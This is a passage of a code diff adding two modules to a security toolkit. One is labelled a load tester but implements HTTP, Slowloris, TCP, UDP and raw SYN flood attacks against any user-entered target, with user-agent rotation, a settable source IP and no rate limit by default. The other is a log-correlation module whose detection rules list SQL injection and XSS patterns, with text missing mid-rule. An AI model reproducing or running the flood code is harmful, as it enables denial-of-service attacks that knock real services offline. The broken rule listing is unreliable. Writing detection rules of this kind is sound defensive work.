0) + 1 + + if result.status_code: + m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1 + + if result.latency_ms > 0: + # Keep last 10000 latencies for percentile calculation + if len(m.latencies) > 10000: + m.latencies = m.latencies[-5000:] + m.latencies.append(result.latency_ms) + + self._rps_counter += 1 + + # Publish update every 20 requests + if m.total_requests % 20 == 0: + self._publish({'type': 'metrics', 'data': m.to_dict()}) + + def _track_rps(self): + """Track requests per second over time.""" + while self._running: + time.sleep(1) + with self._metrics_lock: + now = time.time() + elapsed = now - self._rps_timer_start + if elapsed >= 1.0: + current_rps = self._rps_counter / elapsed + self._metrics.rps_history.append(round(current_rps, 1)) + if len(self._metrics.rps_history) > 120: + self._metrics.rps_history = self._metrics.rps_history[-60:] + self._rps_counter = 0 + self._rps_timer_start = now + + def _should_continue(self, request_count: int) -> bool: + """Check if worker should continue.""" + if self._stop_event.is_set(): + return False + max_req = self._config.get('requests_per_worker', 0) + if max_req > 0 and request_count >= max_req: + return False + return True + + def _rate_limit_wait(self): + """Apply rate limiting if configured.""" + rate = self._config.get('rate_limit', 0) + if rate > 0: + workers = self._config.get('workers', 1) + per_worker = rate / max(workers, 1) + if per_worker > 0: + time.sleep(1.0 / per_worker) + + def _get_session(self) -> 'requests.Session': + """Create an HTTP session with configuration.""" + if not REQUESTS_AVAILABLE: + raise RuntimeError("requests library not available") + + session = requests.Session() + adapter = HTTPAdapter( + pool_connections=10, + pool_maxsize=10, + max_retries=0, + ) + session.mount('http://', adapter) + session.mount('https://', adapter) + session.verify = self._config.get('verify_ssl', False) + + # Custom headers + headers = self._config.get('headers', {}) + if headers: + session.headers.update(headers) + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + elif self._config.get('custom_useragent'): + session.headers['User-Agent'] = self._config['custom_useragent'] + + return session + + def _http_worker(self, worker_id: int): + """HTTP flood worker — sends rapid HTTP requests.""" + target = self._config.get('target', '') + method = self._config.get('method', 'GET').upper() + body = self._config.get('body', '') + timeout = self._config.get('timeout', 10) + follow = self._config.get('follow_redirects', True) + count = 0 + + session = self._get_session() + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + + start = time.time() + result = RequestResult(timestamp=start) + + try: + resp = session.request( + method, target, + data=body if body else None, + timeout=timeout, + allow_redirects=follow, + ) + elapsed = (time.time() - start) * 1000 + + result.status_code = resp.status_code + result.latency_ms = elapsed + result.bytes_received = len(resp.content) + result.bytes_sent = len(body.encode()) if body else 0 + result.success = 200 <= resp.status_code < 500 + + except requests.Timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except requests.ConnectionError as e: + result.error = f"connection_error: {str(e)[:60]}" + except Exception as e: + result.error = str(e)[:80] + + self._result_queue.put(result) + count += 1 + + session.close() + + def _slowloris_worker(self, worker_id: int): + """Slowloris worker — holds connections open with partial headers.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '') + port = parsed.port or (443 if parsed.scheme == 'https' else 80) + use_ssl = parsed.scheme == 'https' + timeout = self._config.get('timeout', 10) + + sockets: List[socket.socket] = [] + max_sockets = 50 # Per worker + + while self._should_continue(0): + self._pause_event.wait() + + # Create new sockets up to limit + while len(sockets) < max_sockets and not self._stop_event.is_set(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + if use_ssl: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + sock = ctx.wrap_socket(sock, server_hostname=host) + sock.connect((host, port)) + + # Send partial HTTP request + ua = random.choice(USER_AGENTS) + sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode()) + sock.send(f"Host: {host}\r\n".encode()) + sock.send(f"User-Agent: {ua}\r\n".encode()) + sock.send(b"Accept-language: en-US,en;q=0.5\r\n") + + sockets.append(sock) + result = RequestResult( + success=True, timestamp=time.time(), + bytes_sent=200, latency_ms=0 + ) + self._result_queue.put(result) + except Exception as e: + result = RequestResult( + error=str(e)[:60], timestamp=time.time() + ) + self._result_queue.put(result) + break + + # Keep connections alive with partial headers + dead = [] + for i, sock in enumerate(sockets): + try: + header = f"X-a: {random.randint(1, 5000)}\r\n" + sock.send(header.encode()) + except Exception: + dead.append(i) + + # Remove dead sockets + for i in sorted(dead, reverse=True): + try: + sockets[i].close() + except Exception: + pass + sockets.pop(i) + + time.sleep(random.uniform(5, 15)) + + # Cleanup + for sock in sockets: + try: + sock.close() + except Exception: + pass + + def _tcp_worker(self, worker_id: int): + """TCP connect flood worker — rapid connect/disconnect.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '').split(':')[0] + try: + port = parsed.port or int(self._config.get('target', '').split(':')[-1]) + except (ValueError, IndexError): + port = 80 + timeout = self._config.get('timeout', 5) + payload_size = self._config.get('payload_size', 0) + count = 0 + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + + if payload_size > 0: + data = random.randbytes(payload_size) + sock.send(data) + result.bytes_sent = payload_size + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.success = True + + sock.close() + except socket.timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except ConnectionRefusedError: + result.error = "connection_refused" + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + def _udp_worker(self, worker_id: int): + """UDP flood worker — sends UDP packets.""" + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + payload_size = self._config.get('payload_size', 1024) + count = 0 + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + data = random.randbytes(payload_size) + sock.sendto(data, (host, port)) + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = payload_size + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + @staticmethod + def _checksum(data: bytes) -> int: + """Calculate IP/TCP checksum.""" + if len(data) % 2: + data += b'\x00' + s = 0 + for i in range(0, len(data), 2): + s += (data[i] << 8) + data[i + 1] + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + return ~s & 0xffff + + def _build_syn_packet(self, src_ip: str, dst_ip: str, + src_port: int, dst_port: int) -> bytes: + """Build a raw TCP SYN packet (IP header + TCP header).""" + # IP Header (20 bytes) + ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes) + ip_tos = 0 + ip_tot_len = 40 # 20 IP + 20 TCP + ip_id = random.randint(1, 65535) + ip_frag_off = 0 + ip_ttl = 64 + ip_proto = socket.IPPROTO_TCP + ip_check = 0 + ip_saddr = socket.inet_aton(src_ip) + ip_daddr = socket.inet_aton(dst_ip) + + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + # Recalculate IP checksum + ip_check = self._checksum(ip_header) + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + + # TCP Header (20 bytes) + tcp_seq = random.randint(0, 0xFFFFFFFF) + tcp_ack_seq = 0 + tcp_doff = 5 # Data offset: 5 words (20 bytes) + tcp_flags = 0x02 # SYN + tcp_window = socket.htons(5840) + tcp_check = 0 + tcp_urg_ptr = 0 + tcp_offset_res = (tcp_doff << 4) + 0 + + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + # Pseudo header for TCP checksum + pseudo = struct.pack('!4s4sBBH', + ip_saddr, ip_daddr, 0, ip_proto, 20) + tcp_check = self._checksum(pseudo + tcp_header) + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + return ip_header + tcp_header + + def _syn_worker(self, worker_id: int): + """SYN flood worker — sends raw TCP SYN packets. + + Requires elevated privileges (admin/root) for raw sockets. + Falls back to TCP connect flood if raw socket creation fails. + """ + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + + # Resolve target IP + try: + dst_ip = socket.gethostbyname(host) + except socket.gaierror: + result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time()) + self._result_queue.put(result) + return + + # Source IP: user-specified or auto-detect local IP + src_ip = self._config.get('source_ip', '').strip() + if not src_ip: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((dst_ip, 80)) + src_ip = s.getsockname()[0] + s.close() + except Exception: + src_ip = '127.0.0.1' + + # Try to create raw socket + try: + import sys + if sys.platform == 'win32': + # Windows raw sockets + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + except PermissionError: + # Fall back to TCP connect flood + self._tcp_worker(worker_id) + return + except OSError as e: + result = RequestResult( + error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time() + ) + self._result_queue.put(result) + # Fall back + self._tcp_worker(worker_id) + return + + count = 0 + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + src_port = random.randint(1024, 65535) + packet = self._build_syn_packet(src_ip, dst_ip, src_port, port) + sock.sendto(packet, (dst_ip, 0)) + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = len(packet) + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + +# Singleton +_load_tester: Optional[LoadTester] = None + + +def get_load_tester() -> LoadTester: + global _load_tester + if _load_tester is None: + _load_tester = LoadTester() + return _load_tester + + +def _clear(): + import os + os.system('cls' if os.name == 'nt' else 'clear') + + +def _format_bytes(b: int) -> str: + if b < 1024: + return f"{b} B" + elif b < 1024 * 1024: + return f"{b / 1024:.1f} KB" + elif b < 1024 * 1024 * 1024: + return f"{b / (1024 * 1024):.1f} MB" + return f"{b / (1024 * 1024 * 1024):.2f} GB" + + +def run(): + """Interactive CLI for the load testing module.""" + from core.banner import Colors + + tester = get_load_tester() + + while True: + _clear() + print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}") + print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}") + print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}") + print() + + if tester.running: + m = tester.metrics + print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s") + print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}") + print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}") + print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}") + print() + print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics") + print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume") + print(f" {Colors.WHITE}3{Colors.RESET} — Stop test") + print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)") + else: + print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood") + print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris") + print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood") + print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood") + print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)") + print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)") + print(f" {Colors.WHITE}0{Colors.RESET} — Back") + + print() + try: + choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0' or not choice: + break + + if tester.running: + if choice == '1': + _show_live_metrics(tester) + elif choice == '2': + if tester._pause_event.is_set(): + tester.pause() + print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}") + else: + tester.resume() + print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}") + time.sleep(1) + elif choice == '3': + tester.stop() + _show_final_report(tester) + else: + if choice == '1': + _configure_and_run(tester, 'http_flood') + elif choice == '2': + _configure_and_run(tester, 'slowloris') + elif choice == '3': + _configure_and_run(tester, 'tcp_connect') + elif choice == '4': + _configure_and_run(tester, 'udp_flood') + elif choice == '5': + _configure_and_run(tester, 'syn_flood') + elif choice == '6': + _quick_test(tester) + + +def _configure_and_run(tester: LoadTester, attack_type: str): + """Interactive configuration and launch.""" + from core.banner import Colors + + print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n") + + src_ip = '' + try: + if attack_type == 'http_flood': + target = input(f" Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + method = input(f" Method [GET]: ").strip().upper() or 'GET' + body = '' + if method in ('POST', 'PUT'): + body = input(f" Body: ").strip() + elif attack_type == 'syn_flood': + print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}") + target = input(f" Target (host:port): ").strip() + if not target: + return + src_ip = input(f" Source IP (blank=auto): ").strip() + method = '' + body = '' + elif attack_type in ('tcp_connect', 'udp_flood'): + target = input(f" Target (host:port): ").strip() + if not target: + return + method = '' + body = '' + elif attack_type == 'slowloris': + target = input(f" Target URL or host:port: ").strip() + if not target: + return + if not target.startswith('http') and ':' not in target: + target = 'http://' + target + method = '' + body = '' + else: + target = input(f" Target: ").strip() + if not target: + return + method = '' + body = '' + + workers_s = input(f" Workers [10]: ").strip() + workers = int(workers_s) if workers_s else 10 + + duration_s = input(f" Duration in seconds [30]: ").strip() + duration = int(duration_s) if duration_s else 30 + + ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip() + ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant' + + rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip() + rate_limit = int(rate_s) if rate_s else 0 + + config = { + 'target': target, + 'attack_type': attack_type, + 'workers': workers, + 'duration': duration, + 'method': method, + 'body': body, + 'ramp_pattern': ramp, + 'rate_limit': rate_limit, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + 'payload_size': 1024, + 'source_ip': src_ip if attack_type == 'syn_flood' else '', + } + + print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}") + print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}") + confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower() + if confirm == 'n': + return + + tester.start(config) + _show_live_metrics(tester) + + except (ValueError, EOFError, KeyboardInterrupt): + print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}") + time.sleep(1) + + +def _quick_test(tester: LoadTester): + """Quick HTTP GET test with defaults.""" + from core.banner import Colors + + try: + target = input(f"\n Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + + config = { + 'target': target, + 'attack_type': 'http_flood', + 'workers': 10, + 'duration': 10, + 'method': 'GET', + 'body': '', + 'ramp_pattern': 'constant', + 'rate_limit': 0, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + } + + print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}") + tester.start(config) + _show_live_metrics(tester) + + except (EOFError, KeyboardInterrupt): + pass + + +def _show_live_metrics(tester: LoadTester): + """Display live-updating metrics in the terminal.""" + from core.banner import Colors + import sys + + print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n") + + try: + while tester.running: + m = tester.metrics + rps_bar = '█' * min(int(m.rps / 10), 40) + + sys.stdout.write('\033[2K\r') # Clear line + sys.stdout.write( + f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} " + f"{Colors.DIM}{rps_bar}{Colors.RESET} " + f"Total: {m.total_requests:>8} " + f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} " + f"{Colors.RED}Fail: {m.failed}{Colors.RESET} " + f"Avg: {m.avg_latency:.0f}ms " + f"P95: {m.p95_latency:.0f}ms " + f"Workers: {m.active_workers}" + ) + sys.stdout.flush() + time.sleep(0.5) + except KeyboardInterrupt: + pass + + print() + if not tester.running: + _show_final_report(tester) + + +def _show_final_report(tester: LoadTester): + """Display final test results.""" + from core.banner import Colors + + m = tester.metrics + print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n") + print(f" Total Requests: {m.total_requests}") + print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}") + print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}") + print(f" Duration: {m.elapsed:.1f}s") + print(f" Avg RPS: {m.rps:.1f}") + print(f" Data Sent: {_format_bytes(m.bytes_sent)}") + print(f" Data Received: {_format_bytes(m.bytes_received)}") + print() + print(f" {Colors.CYAN}Latency:{Colors.RESET}") + print(f" Min: {m.min_latency:.1f}ms") + print(f" Avg: {m.avg_latency:.1f}ms") + print(f" P50: {m.p50_latency:.1f}ms") + print(f" P95: {m.p95_latency:.1f}ms") + print(f" P99: {m.p99_latency:.1f}ms") + print(f" Max: {m.max_latency:.1f}ms") + + if m.status_codes: + print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}") + for code, count in sorted(m.status_codes.items()): + color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED + print(f" {color}{code}{Colors.RESET}: {count}") + + if m.errors: + print(f"\n {Colors.RED}Top Errors:{Colors.RESET}") + for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]: + print(f" {count}× {err}") + + print() + try: + input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + pass diff --git a/modules/log_correlator.py b/modules/log_correlator.py new file mode 100644 index 0000000..ab10bd1 --- /dev/null +++ b/modules/log_correlator.py @@ -0,0 +1,551 @@ +"""AUTARCH Log Correlator + +Syslog ingestion, pattern matching, anomaly detection, alert rules, +timeline correlation, and mini-SIEM functionality. +""" + +DESCRIPTION = "Log correlation & anomaly detection (mini-SIEM)" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from collections import Counter, defaultdict +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Built-in Detection Rules ──────────────────────────────────────────────── + +DEFAULT_RULES = [ + { + 'id': 'brute_force_ssh', + 'name': 'SSH Brute Force', + 'pattern': r'(Failed password|authentication failure).*ssh', + 'severity': 'high', + 'threshold': 5, + 'window_seconds': 60, + 'description': 'Multiple failed SSH login attempts' + }, + { + 'id': 'brute_force_web', + 'name': 'Web Login Brute Force', + 'pattern': r'(401|403).*POST.*(login|auth|signin)', + 'severity': 'high', + 'threshold': 10, + 'window_seconds': 60, + 'description': 'Multiple failed web login attempts' + }, + { + 'id': 'sql_injection', + 'name': 'SQL Injection Attempt', + 'pattern': r"(UNION\s+SELECT|OR\s+1\s*=\s*1|DROP\s+TABLE|'--|\bSLEEP\()", + 'severity': 'critical', + 'threshold': 1, + 'window_seconds': 0, + 'description': 'SQL injection pattern detected' + }, + { + 'id': 'xss_attempt', + 'name': 'XSS Attempt', + 'pattern': r'( Optional[Dict]: + """Parse a single log line.""" + line = line.strip() + if not line: + return None + + # Try JSON format + if LogParser.JSON_LOG_RE.match(line): + try: + data = json.loads(line) + return { + 'format': 'json', + 'timestamp': data.get('timestamp', data.get('time', data.get('@timestamp', ''))), + 'source': data.get('source', data.get('host', '')), + 'program': data.get('program', data.get('service', data.get('logger', ''))), + 'message': data.get('message', data.get('msg', str(data))), + 'level': data.get('level', data.get('severity', 'info')), + 'raw': line + } + except json.JSONDecodeError: + pass + + # Try syslog format + m = LogParser.SYSLOG_RE.match(line) + if m: + return { + 'format': 'syslog', + 'timestamp': m.group(1), + 'source': m.group(2), + 'program': m.group(3), + 'pid': m.group(4), + 'message': m.group(5), + 'raw': line + } + + # Try Apache/Nginx format + m = LogParser.APACHE_RE.match(line) + if m: + return { + 'format': 'apache', + 'timestamp': m.group(2), + 'source': m.group(1), + 'method': m.group(3), + 'path': m.group(4), + 'status': int(m.group(5)), + 'size': int(m.group(6)), + 'message': line, + 'raw': line + } + + # Generic fallback + return { + 'format': 'unknown', + 'timestamp': '', + 'message': line, + 'raw': line + } + + +# ── Log Correlator Engine ──────────────────────────────────────────────────── + +class LogCorrelator: + """Log correlation and anomaly detection engine.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'log_correlator') + os.makedirs(self.data_dir, exist_ok=True) + + self.rules: List[Dict] = list(DEFAULT_RULES) + self.alerts: List[Dict] = [] + self.logs: List[Dict] = [] + self.sources: Dict[str, Dict] = {} + self._rule_hits: Dict[str, List[float]] = defaultdict(list) + self._lock = threading.Lock() + self._load_custom_rules() + self._load_alerts() + + def _load_custom_rules(self): + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + if os.path.exists(rules_file): + try: + with open(rules_file) as f: + custom = json.load(f) + self.rules.extend(custom) + except Exception: + pass + + def _save_custom_rules(self): + # Only save non-default rules + default_ids = {r['id'] for r in DEFAULT_RULES} + custom = [r for r in self.rules if r['id'] not in default_ids] + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + with open(rules_file, 'w') as f: + json.dump(custom, f, indent=2) + + def _load_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + if os.path.exists(alerts_file): + try: + with open(alerts_file) as f: + self.alerts = json.load(f) + except Exception: + pass + + def _save_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + with open(alerts_file, 'w') as f: + json.dump(self.alerts[-1000:], f, indent=2) + + # ── Log Ingestion ──────────────────────────────────────────────────── + + def ingest_file(self, filepath: str, source_name: str = None) -> Dict: + """Ingest log file for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + source = source_name or Path(filepath).name + parsed = 0 + alerts_generated = 0 + + try: + with open(filepath, 'r', errors='ignore') as f: + for line in f: + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source + self.logs.append(entry) + parsed += 1 + + # Run detection rules + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + self.sources[source] = { + 'file': filepath, + 'lines': parsed, + 'ingested': datetime.now(timezone.utc).isoformat() + } + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def ingest_text(self, text: str, source_name: str = 'paste') -> Dict: + """Ingest log text directly.""" + parsed = 0 + alerts_generated = 0 + + for line in text.strip().splitlines(): + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source_name + self.logs.append(entry) + parsed += 1 + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source_name, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + # ── Detection ──────────────────────────────────────────────────────── + + def _check_rules(self, entry: Dict) -> List[Dict]: + """Check log entry against detection rules.""" + new_alerts = [] + message = entry.get('message', '') + ' ' + entry.get('raw', '') + now = time.time() + + for rule in self.rules: + try: + if re.search(rule['pattern'], message, re.I): + rule_id = rule['id'] + + # Threshold check + if rule.get('threshold', 1) > 1 and rule.get('window_seconds', 0) > 0: + with self._lock: + self._rule_hits[rule_id].append(now) + # Clean old hits + window = rule['window_seconds'] + self._rule_hits[rule_id] = [ + t for t in self._rule_hits[rule_id] + if now - t <= window + ] + if len(self._rule_hits[rule_id]) < rule['threshold']: + continue + + alert = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rule_id': rule_id, + 'rule_name': rule['name'], + 'severity': rule['severity'], + 'description': rule['description'], + 'source': entry.get('source_file', ''), + 'log_entry': entry.get('message', '')[:200], + 'raw': entry.get('raw', '')[:300] + } + self.alerts.append(alert) + new_alerts.append(alert) + except re.error: + pass + + return new_alerts + + # ── Rule Management ────────────────────────────────────────────────── + + def add_rule(self, rule_id: str, name: str, pattern: str, + severity: str = 'medium', threshold: int = 1, + window_seconds: int = 0, description: str = '') -> Dict: + """Add custom detection rule.""" + # Validate regex + try: + re.compile(pattern) + except re.error as e: + return {'ok': False, 'error': f'Invalid regex: {e}'} + + rule = { + 'id': rule_id, 'name': name, 'pattern': pattern, + 'severity': severity, 'threshold': threshold, + 'window_seconds': window_seconds, + 'description': description + } + self.rules.append(rule) + self._save_custom_rules() + return {'ok': True, 'rule': rule} + + def remove_rule(self, rule_id: str) -> Dict: + """Remove a custom rule.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + if rule_id in default_ids: + return {'ok': False, 'error': 'Cannot remove built-in rule'} + + before = len(self.rules) + self.rules = [r for r in self.rules if r['id'] != rule_id] + if len(self.rules) < before: + self._save_custom_rules() + return {'ok': True} + return {'ok': False, 'error': 'Rule not found'} + + def get_rules(self) -> List[Dict]: + """List all detection rules.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + return [{**r, 'builtin': r['id'] in default_ids} for r in self.rules] + + # ── Analysis ───────────────────────────────────────────────────────── + + def search_logs(self, query: str, source: str = None, + limit: int = 100) -> List[Dict]: + """Search ingested logs.""" + results = [] + for entry in reversed(self.logs): + if source and entry.get('source_file') != source: + continue + if query.lower() in (entry.get('message', '') + entry.get('raw', '')).lower(): + results.append(entry) + if len(results) >= limit: + break + return results + + def get_stats(self) -> Dict: + """Get correlator statistics.""" + severity_counts = Counter(a['severity'] for a in self.alerts) + rule_counts = Counter(a['rule_id'] for a in self.alerts) + source_counts = Counter(e.get('source_file', '') for e in self.logs) + + return { + 'total_logs': len(self.logs), + 'total_alerts': len(self.alerts), + 'sources': len(self.sources), + 'rules': len(self.rules), + 'alerts_by_severity': dict(severity_counts), + 'top_rules': dict(rule_counts.most_common(10)), + 'top_sources': dict(source_counts.most_common(10)) + } + + def get_alerts(self, severity: str = None, limit: int = 100) -> List[Dict]: + """Get alerts with optional filtering.""" + alerts = self.alerts + if severity: + alerts = [a for a in alerts if a['severity'] == severity] + return alerts[-limit:] + + def clear_alerts(self): + """Clear all alerts.""" + self.alerts.clear() + self._save_alerts() + + def clear_logs(self): + """Clear ingested logs.""" + self.logs.clear() + self.sources.clear() + + def get_sources(self) -> Dict: + """Get ingested log sources.""" + return self.sources + + def get_timeline(self, hours: int = 24) -> List[Dict]: + """Get alert timeline grouped by hour.""" + timeline = defaultdict(lambda: {'count': 0, 'critical': 0, 'high': 0, 'medium': 0, 'low': 0}) + + for alert in self.alerts: + ts = alert.get('timestamp', '')[:13] # YYYY-MM-DDTHH + timeline[ts]['count'] += 1 + sev = alert.get('severity', 'low') + timeline[ts][sev] = timeline[ts].get(sev, 0) + 1 + + return [{'hour': k, **v} for k, v in sorted(timeline.items())[-hours:]] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_log_correlator() -> LogCorrelator: + global _instance + if _instance is None: + _instance = LogCorrelator() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Log Correlator module.""" + engine = get_log_correlator() + + while True: + stats = engine.get_stats() + print(f"\n{'='*60}") + print(f" Log Correlator ({stats['total_logs']} logs, {stats['total_alerts']} alerts)") + print(f"{'='*60}") + print() + print(" 1 — Ingest Log File") + print(" 2 — Paste Log Text") + print(" 3 — Search Logs") + print(" 4 — View Alerts") + print(" 5 — Manage Rules") + print(" 6 — View Stats") + print(" 7 — Alert Timeline") + print(" 8 — Clear Alerts") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" Log file path: ").strip() + if filepath: + result = engine.ingest_file(filepath) + if result['ok']: + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts generated") + else: + print(f" Error: {result['error']}") + elif choice == '2': + print(" Paste log lines (blank line to finish):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + if lines: + result = engine.ingest_text('\n'.join(lines)) + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts") + elif choice == '3': + query = input(" Search query: ").strip() + if query: + results = engine.search_logs(query) + print(f" {len(results)} matches:") + for r in results[:10]: + print(f" [{r.get('source_file', '?')}] {r.get('message', 